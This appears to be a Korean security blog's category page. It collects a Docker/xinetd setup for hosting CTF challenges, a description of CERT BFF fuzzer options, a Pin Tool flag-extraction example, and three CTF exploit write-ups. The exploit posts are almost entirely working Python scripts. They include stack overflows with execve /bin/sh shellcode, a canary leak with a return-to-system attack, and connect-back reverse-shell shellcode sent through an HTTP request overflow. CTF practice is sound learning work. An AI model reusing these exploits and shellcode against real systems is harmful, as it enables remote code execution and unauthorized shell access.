반응형

Docker

https://docs.docker.com/install/linux/docker-ce/ubuntu/


Docker Compose

sudo curl -L "https://github.com/docker/compose/releases/download/1.10.0/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose


문제 서버 만들때 매우 좋다

문제 하나 터져서 다른 문제가 터지는 일을 방지할 수 있음


내가 쓰는 거

docker-compose.yml

version: '2.2'


services:

    treefrog:

        build: ./

        volumes: 

            - ./share:/home/treefrog:ro

            - ./xinetd:/etc/xinetd.d/xinetd:ro

            - ./tmp:/tmp:ro

        ports:

            - "10101:10101"

        expose:

            - "10101"

        

networks:

    default:

        external:

            name: treefrog


Dockerfile

FROM ubuntu:16.04

MAINTAINER KSHMK

RUN apt update

RUN apt install xinetd -y

RUN apt install libc6-dev-i386 -y

RUN useradd -m {계정명}

RUN chmod 774 /tmp

RUN chmod -R 774 /var/tmp

RUN chmod -R 774 /dev

RUN chmod -R 774 /run

RUN chmod 1733 /tmp /var/tmp /dev/shm

RUN chown -R root:root /home/{계정명}

CMD ["/usr/sbin/xinetd","-dontfork"] 


xinetd

service treefrog 

{

    disable = no

    type        = UNLISTED

    wait        = no

    server      = /home/treefrog/treefrog

    socket_type = stream

    protocol    = tcp

    user        = treefrog

    port        = 10101

    flags       = REUSE


'Pwnable > Etc' 카테고리의 다른 글

BFF Fuzzer 약간설명&옵션설명  (1) 2016.02.17
SongSari - Basic Bof  (0) 2015.12.01
Pin Tool 간단 설명  (0) 2015.11.21
Layer7 CTF SPILL  (0) 2015.11.02
PlaidCTF-2013 pork  (0) 2015.10.28
반응형


 

1. BFF Fuzzer?

CERT에서 만든 바이너리 Fuzzer로서 여러 가지 퍼징을 한 뒤 디버거로 예외를 잡아내는 툴, BFF랑 FOE랑 합쳐짐

 

2. 실행 방법

CERT FOE 다운로드 창에서 iso를 다운받은 후 마운트 해서 설치한다.

설치를 끝마치게 되면 C:\FOE2라는 폴더가 생길 것이다.

옵션 파일은 C:\FOE2\configs\foe.yaml이며 수정을 마친 후 퍼징을 시작하려면 C:\FOE2\foe2.py를 실행하면 된다.

이때 python에서 인자 오류가 발생할 확률이 높은데 이것은 python 버전을 2.7.5로 다운그래이드 하면 해결된다.

연구중

 

3. 동작방식

1) SeedFile을 읽어와 옵션에 맞게 바이너리를 랜덤으로 수정

2) 옵션의 Cmdline_template에 따라 퍼징대상 실행

3) WinDbg로 디버깅 하면서 제한 시간 내 크래시가 나는지 분석

4) 크래시가 일어났다면 msec모듈로 크래시 분석

5) 로그로 저장

6) minimize 수행

7) 반복

 

4. 각 옵션 설명(2.8ver/Windows)

Campaign options

id: results에 저장될 프로젝트 폴더 이름

keep heisenbugs: 후킹으로 발견된 테스트 케이스를 계속 크래시를 내되, 디버거를 통해 실행중일 때는 제외, XP가 아니면 무시됨

use buttonclicker: 버튼을 클릭하는 프로그램을 실행한다.


Target options

program: 퍼징할 프로그램 절대 경로

cmdline template: 프로그램 명령 줄 호출을 지정하는 데 사용됨


Directories used by BFF

seedfile dir: 시드 파일 위치

working dir: FOE에서 사용하는 임시 공간. 렘 메모리를 쓰는 것이 오버헤드를 줄임

results dir: 결과 파일 위치


Runner options

hideoutput: 프로그램의 출력을 숨김

runtimeout: 프로그램 시간제한

watchcpu: cpu 사용률이 0이 되면 중지


Debugger options

debugheap: 프로그램이 debug heap을 사용하게 함

max handled exceptions: 예외를 계속 진행할 최대 횟수.


Run options

first iteration: 반복 시작 숫자를 지정(기본값 0)

seed interval: 새로운 시드 파일과 돌연변이 범위를 지정하기 전에 수행할 반복횟수 (기본값 1)

minimize: 크래시가 나지만 해시가 같도록 시드파일과 차이가 적은 파일을 만듦(TRUE)

minimizer timeout: minimization이 BFF에서 최대로 할당 가능한 시간

keep unique faddr: 충돌 해시의 일부로서 예외 오류 주소 값을 고려

keep all duplicates: 모든 중복 충돌의 경우를 유지

recycle_crashers: 퍼징할 시드파일 풀에 특이 크래시 케이스를 재활용 한다


Fuzzer options 오직 하나의 퍼저만 선택가능

bytemut: 임의의 값으로 바이트를 교체

swap: 인접한 바이트를 교환

wave: 순차적으로 모든 가능한 단일 바이트 값을 순환

drop: 각 파일마다 바이트 하나를 제거

insert: 각 파일마다 임의 값 하나 추가

truncate: 파일의 끝 바이트 제거

crmut: 임의의 값으로 캐리지 리턴 바이트 교체

crlfmut: 임의의 값으로 캐리지 리턴, 줄바꿈 바이트 교체

nullmut: 임의의 값으로 NULL 바이트 교체

verify: 파일을 돌연변이하지 않음. 충돌 테스트 케이스 확인용

fuzz zip container: zip파일 내용을 퍼징하지 않고, zip 자체를 퍼징



 


'Pwnable > Etc' 카테고리의 다른 글

Docker & Docker Compose 설치법  (0) 2017.05.05
SongSari - Basic Bof  (0) 2015.12.01
Pin Tool 간단 설명  (0) 2015.11.21
Layer7 CTF SPILL  (0) 2015.11.02
PlaidCTF-2013 pork  (0) 2015.10.28
반응형


Main에는 이것 하나밖에 없었다.

그래서 정말그런지 삽질하다. bss 영역에 실행권한이 있음을 알게 되었다.

그래서 bss에 쉘코드를 넣고 실행시켰다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from socket import *
from time import sleep
from struct import pack,unpack
= lambda x: pack("<L",x)
up = lambda x: unpack("<L",x)[0]
connectto = ('61.105.8.2'11000)
bss = 0x804a020
gets_plt = 0x80482f0
 
def main():
    S=socket(AF_INET,SOCK_STREAM)
    S.connect(connectto)
    payload=""
    payload+="A"*0x44
    payload+=p(gets_plt)
    payload+=p(bss)
    payload+=p(bss)
    S.send(payload+"\n")
    sleep(0.5)
    payload2=("\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80"
        "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f"
        "\x2f\x62\x69\x89\xe3\x8d\x54\x24\x08\x50"
        "\x53\x8d\x0c\x24\xb0\x0b\xcd\x80\x31\xc0"
        "\xb0\x01\xcd\x80")
    S.send(payload2+"\n")
    S.send("id;ls -al /home/basicbof/flag;cat /home/basicbof/flag   \n")
    print S.recv(1024)
    print S.recv(1024)
if __name__ == "__main__":
    main()
cs


'Pwnable > Etc' 카테고리의 다른 글

Docker & Docker Compose 설치법  (0) 2017.05.05
BFF Fuzzer 약간설명&옵션설명  (1) 2016.02.17
Pin Tool 간단 설명  (0) 2015.11.21
Layer7 CTF SPILL  (0) 2015.11.02
PlaidCTF-2013 pork  (0) 2015.10.28
반응형


핀툴 홈페이지

https://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool


핀툴(Pin Tool)이란?

- 인텔사에서 만든 x64, i686을 위해서 동적으로 바이너리를 삽입할 수 있게 한 프로그램입니다.


한국에서는 별로 문서가 없는데 이는 모든 메뉴얼이 영어로 되어 있기 때문입니다.

하지만  각각의 기능에 대한 부분은 영어를 조금만 알더라도 쉽게 이해할 수 있을겁니다,

저 같은 경우에는 컴퓨터 쪽 용어를 알고 있어 조금 수월했습니다.

(영어5등급보다 잘하시잖아요)


핀툴의 기능은 쉽게 말해서

어떤 프로그램에서 원하는 코드가 실행될때 무엇이든 할 수 있다는 것입니다.


예시를 들면



이 프로그램은 무려 0x42A0바이트를 일일이 비교하게 됩니다.

이것을 단순 리버싱을 하려면 매우 복잡하게 됩니다.

이때 PinTool을 사용할 수 있습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include<iostream>
#include<fstream>
#include "pin.H"
#define START 0x8048202
#define END 0x80A3778
using namespace std;
ofstream out("flag");
long long int iXor,iCmp;
void Instruction(INS ins, void *v)
{
        // INS_Address 현제 주소를 구해온다.
        ADDRINT Address = INS_Address(ins);
        // 원하는 범위 한정
        if(START<=Address && Address<=END)
        {
                char cAns;
                // INS_Opcode 현제 주소의 Opcode를 구해온다.
                switch(INS_Opcode(ins))
                {
                // 만약 XOR이라면
                case XED_ICLASS_XOR:
                        // Immediate를 가지고 온다.
                        iXor = INS_OperandImmediate(ins,1);
                        break;
                // 만약 CMP라면
                case XED_ICLASS_CMP:
                        // Immediate를 가지고 온다.
                        iCmp = INS_OperandImmediate(ins,1);
                        cAns = iXor^iCmp;
                        // 출력
                        out<<cAns;
                        iXor=0;
                        break;
                }
                // 명령어 삭제로 다음명령어 강제 실행
                INS_Delete(ins);
        }
}
int main(int argc, char* argv[])
{
        // 핀툴 초기화
        if(PIN_Init(argc,argv)) return -1;
        // CallBack 함수 추가   
        INS_AddInstrumentFunction(Instruction, 0);
        // 프로그램 시작
        PIN_StartProgram();
        return 0;
}
 
 
cs


이렇게 하면 빌드를 하게 되면

윈도우라면 DLL파일 리눅스라면 SO파일이 나올 것입니다.

이 빌드파일을 가지고 실행시키는 방법은

pin.exe -t <빌드파일 주소> -- <실행 파일>

입니다.


위 소스라면 같은 폴더에 flag라는 파일에 키가 문자열로 있을 것입니다. 




'Pwnable > Etc' 카테고리의 다른 글

Docker & Docker Compose 설치법  (0) 2017.05.05
BFF Fuzzer 약간설명&옵션설명  (1) 2016.02.17
SongSari - Basic Bof  (0) 2015.12.01
Layer7 CTF SPILL  (0) 2015.11.02
PlaidCTF-2013 pork  (0) 2015.10.28
반응형

POC를 못가는 슬픔...

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from socket import *
from time import sleep
from struct import pack,unpack
= lambda x: pack("<L",x)
up = lambda x: unpack("<L",x)[0]
connectto = ('192.168.223.129',1127)
def getpassword():
    S=socket(AF_INET,SOCK_STREAM)
    S.connect(connectto)
    S.send("A"*0x11d+p(0x804b060)+"\n"#Password Leak
    print S.recv(1024)
    ipw = S.recv(1024)
    print ipw
    print "[!] Password : "+ipw[ipw.find("***:")+5:ipw.find("terminated")]
    return ipw[ipw.find("***:")+5:ipw.find("terminated")]
def main():
    Password = getpassword()
    S=socket(AF_INET,SOCK_STREAM)
    S.connect(connectto)
    
    system_plt = 0x8048610
    canary = 0x00000000
    name_data = 0x804b0e0
    print S.recv(1024)
    # Set not to go exit(1)
    S.send(Password+"\n")
    sleep(0.5)
    print S.recv(1024)
    S.send("2\n")
    print S.recv(1024)
    S.send("1\n")
    print S.recv(1024)
    # Set name data to "/bin/sh"and get canary
    S.send("4\n")
    print S.recv(1024)
    S.send("A"*0x16)    # get canari
    print S.recv(1024)
    S.send("/bin/sh;")
    print S.recv(1024)
    S.send("A\n")
    sleep(1)
    icanary = S.recv(1024)
    print "1"
    print icanary
    canary = up(chr(0x0)+icanary[69:72])
    print "[!] Canary : " + hex(canary)
    # Attack RTL with canary
    S.send("3\n")
    print S.recv(1024)
    S.send("A"*0xd9+p(canary)+"A"*0xC+p(system_plt)+"AAAA"+p(name_data)+"\n")
    sleep(0.5)
    print  S.recv(1024)
    # exit
    S.send("0\n")
    sleep(0.5)
    print S.recv(1024)
    S.send("1\n")
    sleep(1.5)
    print S.recv(1024)
    # get id at /bin/sh
    S.send("id;\n")
    print S.recv(1024)
if __name__ == "__main__":
    main()
 
cs



'Pwnable > Etc' 카테고리의 다른 글

Docker & Docker Compose 설치법  (0) 2017.05.05
BFF Fuzzer 약간설명&옵션설명  (1) 2016.02.17
SongSari - Basic Bof  (0) 2015.12.01
Pin Tool 간단 설명  (0) 2015.11.21
PlaidCTF-2013 pork  (0) 2015.10.28
반응형

bss로 점핑과 sprintf "\x0d"때문에 약간 삽질했네요;;


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from socket import *
from time import sleep
from struct import pack,unpack
= lambda x: pack("<L",x)
up = lambda x: unpack("<L",x)[0]
shell = ("\x6a\x66\x58\x99\x31\xdb\x43\x52\x53\x6a\x02\x89"
         "\xe1\xcd\x80\x96\x6a\x66\x58\x43\x68\xc0\xa8\xdf"
         "\x01\x66\x68\x25\x97\x66\x53\x89\xe1\x6a\x10\x51"
         "\x56\x89\xe1\x43\xcd\x80\x87\xf3\x6a\x03\x59\xb0"
         "\x3f\xcd\x80\x49\x79\xf9\x52\x68\x2f\x2f\x73\x68"
         "\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80")
#read plt/bss+32/read(4,bss+32,75 = len(shell))
makeread = [0x8049a58,0x80482f0,0x804aba0,0x804abb7,
            0x80486be,0x804ac58,0x804ac58,0x804ac58,
            0x8049a58,0x80482f0,0x804aba0,0x804abb7,
            0x804907d,0x804ac58,0x804ac58,0x804ac58]
def main():
    S=socket(AF_INET,SOCK_STREAM)
    S.connect(('192.168.223.129',33227))
 
    sprintf_plt = 0x804887C
    bss = 0x804aed4
    ppppr = 0x80499a5
    payload = "A"*1024
    payload += p(sprintf_plt)
    payload += p(ppppr+2)
    payload += p(bss)
    payload += p(0x804ac98)
    bss+=4
    for i in makeread:
        payload += p(sprintf_plt)
        payload += p(ppppr+2)
        payload += p(bss)
        payload += p(i)
        bss+=1
    payload += p(ppppr+3)
    payload += p(0x804aed0)
    payload += p(0x8049565)
    S.send("GET http://"+payload+"/ HTTP/1.1\r\n")
    sleep(1)
    S.send("\r\n")
    S.send(shell)
 
if __name__ == "__main__":
    main()
 
cs



'Pwnable > Etc' 카테고리의 다른 글

Docker & Docker Compose 설치법  (0) 2017.05.05
BFF Fuzzer 약간설명&옵션설명  (1) 2016.02.17
SongSari - Basic Bof  (0) 2015.12.01
Pin Tool 간단 설명  (0) 2015.11.21
Layer7 CTF SPILL  (0) 2015.11.02

+ Recent posts